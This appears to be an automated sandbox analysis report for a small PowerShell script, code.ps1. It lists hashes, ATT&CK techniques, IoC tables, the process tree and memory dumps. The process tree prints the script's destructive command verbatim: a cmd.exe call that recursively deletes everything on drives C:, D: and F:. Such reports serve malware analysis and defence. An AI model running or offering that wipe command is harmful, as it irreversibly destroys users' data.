9c4c1b5c171619b2b1702182aa7bb11daa5ed22d4f61edd44b906c387bfda274

Analysis

max time kernel
10s
max time network
18s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22-07-2024 17:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

code.ps1
Size

47B
MD5

30a5b1122c593d26cf52dc9f4c352f06
SHA1

2cc06964e52bfb23b98dbd7922707a53a673edc0
SHA256

9c4c1b5c171619b2b1702182aa7bb11daa5ed22d4f61edd44b906c387bfda274
SHA512

8924730fa9b74aef809081cd785584b75f52f6c158a02096247576602d9455deab3a3084a0ab9ed41c5fc492f85c953d5c114ccca13fd584b9e5e7175e35c22b

Score

7^/10

execution

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
2168	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2180	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2180	powershell.exe
532	chrome.exe
532	chrome.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeShutdownPrivilege	532	chrome.exe
Token: SeShutdownPrivilege	532	chrome.exe
Token: SeShutdownPrivilege	532	chrome.exe
Token: SeShutdownPrivilege	532	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe
532	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2168	2180	powershell.exe	31
PID 2180 wrote to memory of 2168	2180	powershell.exe	31
PID 2180 wrote to memory of 2168	2180	powershell.exe	31
PID 532 wrote to memory of 604	532	chrome.exe	34
PID 532 wrote to memory of 604	532	chrome.exe	34
PID 532 wrote to memory of 604	532	chrome.exe	34
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 2584	532	chrome.exe	36
PID 532 wrote to memory of 1324	532	chrome.exe	37
PID 532 wrote to memory of 1324	532	chrome.exe	37
PID 532 wrote to memory of 1324	532	chrome.exe	37
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38
PID 532 wrote to memory of 1344	532	chrome.exe	38

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "del/s/q C: && del/s/q D: && del/s/q F:"
  2⤵
  - Deletes itself
  PID:2168

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5ba9758,0x7fef5ba9768,0x7fef5ba9778
  2⤵
  PID:604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1168 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:2
  2⤵
  PID:2584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1528 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:8
  2⤵
  PID:1324
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1568 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:8
  2⤵
  PID:1344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2260 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:1
  2⤵
  PID:768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2272 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:1
  2⤵
  PID:1060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1420 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:2
  2⤵
  PID:1828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1160 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:1
  2⤵
  PID:1760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3656 --field-trial-handle=1384,i,17620675641079548301,11801493758483657433,131072 /prefetch:8
  2⤵
  PID:1508

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:316

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:1
1⤵
PID:2484
- C:\Program Files (x86)\Windows Media Player\wmpshare.exe
  "C:\Program Files (x86)\Windows Media Player\wmpshare.exe"
  2⤵
  PID:1616

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2216

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe"
1⤵
PID:1724
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1724 CREDAT:275457 /prefetch:2
  2⤵
  PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp

Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
memory/2180-10-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2180-9-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/2180-8-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2180-7-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2180-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2180-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2180-4-0x000007FEF614E000-0x000007FEF614F000-memory.dmp

Filesize
4KB

Download